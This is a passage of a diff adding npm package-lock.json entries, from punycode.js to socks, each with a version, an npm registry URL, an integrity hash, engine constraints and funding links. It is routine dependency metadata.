"sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/punycode.js": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode.js/-/punycode.js-2.3.1.tgz", + "integrity": "sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/qs": { + "version": "6.12.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.12.0.tgz", + "integrity": "sha512-trVZiI6RMOkO476zLGaBIzszOdFPnCCXHPG9kn0yuS1uz6xdVxPfZdB3vUig9pxPFDM9BRAgz/YUIVQ1/vuiUg==", + "dev": true, + "dependencies": { + "side-channel": "^1.0.6" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/rambda": { + "version": "7.5.0", + "resolved": "https://registry.npmjs.org/rambda/-/rambda-7.5.0.tgz", + "integrity": "sha512-y/M9weqWAH4iopRd7EHDEQQvpFPHj1AA3oHozE9tfITHUtTR7Z9PSlIRRG2l1GuW7sefC1cXFfIcF+cgnShdBA==", + "dev": true, + "license": "MIT" + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "dev": true, + "optional": true, + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/rc-config-loader": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/rc-config-loader/-/rc-config-loader-4.1.3.tgz", + "integrity": "sha512-kD7FqML7l800i6pS6pvLyIE2ncbk9Du8Q0gp/4hMPhJU6ZxApkoLcGD8ZeqgiAlfwZ6BlETq6qqe+12DUL207w==", + "dev": true, + "dependencies": { + "debug": "^4.3.4", + "js-yaml": "^4.1.0", + "json5": "^2.2.2", + "require-from-string": "^2.0.2" + } + }, + "node_modules/rc/node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "dev": true, + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/read": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz", + "integrity": "sha1-s9oZvQUkMal2cdRKQmNK33ELQMQ=", + "dev": true, + "dependencies": { + "mute-stream": "~0.0.4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/read-pkg": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-9.0.1.tgz", + "integrity": "sha512-9viLL4/n1BJUCT1NXVTdS1jtm80yDEgR5T4yCelII49Mbj0v1rZdKqj7zCiYdbB0CuCgdrvHcNogAKTFPBocFA==", + "dev": true, + "dependencies": { + "@types/normalize-package-data": "^2.4.3", + "normalize-package-data": "^6.0.0", + "parse-json": "^8.0.0", + "type-fest": "^4.6.0", + "unicorn-magic": "^0.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg/node_modules/type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "dev": true, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg/node_modules/unicorn-magic": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.1.0.tgz", + "integrity": "sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==", + "dev": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/readdir-glob": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/readdir-glob/-/readdir-glob-1.1.3.tgz", + "integrity": "sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==", + "dependencies": { + "minimatch": "^5.1.0" + } + }, + "node_modules/readdir-glob/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/readdir-glob/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/replace-in-file": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/replace-in-file/-/replace-in-file-8.3.0.tgz", + "integrity": "sha512-4VhddQiMCPIuypiwHDTM+XHjZoVu9h7ngBbSCnwGRcwdHwxltjt/m//Ep3GDwqaOx1fDSrKFQ+n7uo4uVcEz9Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^5.3.0", + "glob": "^10.4.2", + "yargs": "^17.7.2" + }, + "bin": { + "replace-in-file": "bin/cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/replace-in-file/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/replace-in-file/node_modules/chalk": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz", + "integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/replace-in-file/node_modules/glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/replace-in-file/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/resolve-pkg-maps": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz", + "integrity": "sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==", + "dev": true, + "funding": { + "url": "https://github.com/privatenumber/resolve-pkg-maps?sponsor=1" + } + }, + "node_modules/restore-cursor": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-5.1.0.tgz", + "integrity": "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==", + "dev": true, + "license": "MIT", + "dependencies": { + "onetime": "^7.0.0", + "signal-exit": "^4.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rfdc": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", + "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", + "dev": true + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/glob": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safe-stable-stringify": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", + "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/sax": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.1.tgz", + "integrity": "sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==", + "license": "ISC" + }, + "node_modules/secretlint": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/secretlint/-/secretlint-10.2.2.tgz", + "integrity": "sha512-xVpkeHV/aoWe4vP4TansF622nBEImzCY73y/0042DuJ29iKIaqgoJ8fGxre3rVSHHbxar4FdJobmTnLp9AU0eg==", + "dev": true, + "dependencies": { + "@secretlint/config-creator": "^10.2.2", + "@secretlint/formatter": "^10.2.2", + "@secretlint/node": "^10.2.2", + "@secretlint/profiler": "^10.2.2", + "debug": "^4.4.1", + "globby": "^14.1.0", + "read-pkg": "^9.0.1" + }, + "bin": { + "secretlint": "bin/secretlint.js" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/seek-bzip": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/seek-bzip/-/seek-bzip-1.0.6.tgz", + "integrity": "sha512-e1QtP3YL5tWww8uKaOCQ18UxIT2laNBXHjV/S2WYCiK4udiv8lkG89KRIoCjUagnAmCBurjF4zEVX2ByBbnCjQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^2.8.1" + }, + "bin": { + "seek-bunzip": "bin/seek-bunzip", + "seek-table": "bin/seek-bzip-table" + } + }, + "node_modules/seek-bzip/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/semver": { + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/sentence-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/sentence-case/-/sentence-case-3.0.4.tgz", + "integrity": "sha512-8LS0JInaQMCRoQ7YUytAo/xUu5W2XnQxV2HI/6uM6U7CITS1RqPElr30V6uIqyMKM9lJGRVFy5/4CuzcixNYSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case-first": "^2.0.2" + } + }, + "node_modules/serialize-javascript": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", + "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", + "dev": true, + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", + "dev": true, + "license": "ISC" + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dev": true, + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==", + "dev": true + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "engines": { + "node": ">=8" + } + }, + "node_modules/side-channel": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz", + "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/simple-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", + "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "optional": true + }, + "node_modules/simple-get": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz", + "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "optional": true, + "dependencies": { + "decompress-response": "^6.0.0", + "once": "^1.3.1", + "simple-concat": "^1.0.0" + } + }, + "node_modules/simple-git": { + "version": "3.30.0", + "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.30.0.tgz", + "integrity": "sha512-q6lxyDsCmEal/MEGhP1aVyQ3oxnagGlBDOVSIB4XUVLl1iZh0Pah6ebC9V4xBap/RfgP2WlI8EKs0WS0rMEJHg==", + "dev": true, + "dependencies": { + "@kwsites/file-exists": "^1.1.1", + "@kwsites/promise-deferred": "^1.1.1", + "debug": "^4.4.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/steveukx/git-js?sponsor=1" + } + }, + "node_modules/sinon": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/sinon/-/sinon-21.0.0.tgz", + "integrity": "sha512-TOgRcwFPbfGtpqvZw+hyqJDvqfapr1qUlOizROIk4bBLjlsjlB00Pg6wMFXNtJRpu+eCZuVOaLatG7M8105kAw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@sinonjs/commons": "^3.0.1", + "@sinonjs/fake-timers": "^13.0.5", + "@sinonjs/samsam": "^8.0.1", + "diff": "^7.0.0", + "supports-color": "^7.2.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/sinon" + } + }, + "node_modules/sinon-chai": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/sinon-chai/-/sinon-chai-3.7.0.tgz", + "integrity": "sha512-mf5NURdUaSdnatJx3uhoBOrY9dtL19fiOtAdT1Azxg3+lNJFiuN0uzaU3xX1LeAfL17kHQhTAJgpsfhbMJMY2g==", + "dev": true, + "license": "(BSD-2-Clause OR WTFPL)", + "peerDependencies": { + "chai": "^4.0.0", + "sinon": ">=4.0.0" + } + }, + "node_modules/sinon/node_modules/diff": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz", + "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/slash": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz", + "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==", + "dev": true, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/slugify": { + "version": "1.6.6", + "resolved": "https://registry.npmjs.org/slugify/-/slugify-1.6.6.tgz", + "integrity": "sha512-h+z7HKHYXj6wJU+AnS/+IH8Uh9fdcX1Lrhg1/VMdf9PwoBQXFcXiAdsy2tSK0P6gKwJLXp02r90ahUCqHk9rrw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/snake-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/snake-case/-/snake-case-3.0.4.tgz", + "integrity": "sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg==", + "dev": true, + "license": "MIT", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/socks": { + "version": "2.8.7", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.7.tgz", + "integrity": "sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ip-address": "^10.0.1", + "smart-buffer": "^4.2.0" + }, + "engines": { + "node": ">= 10.0.0", + "npm": ">= 3.0.0" + } + }, + 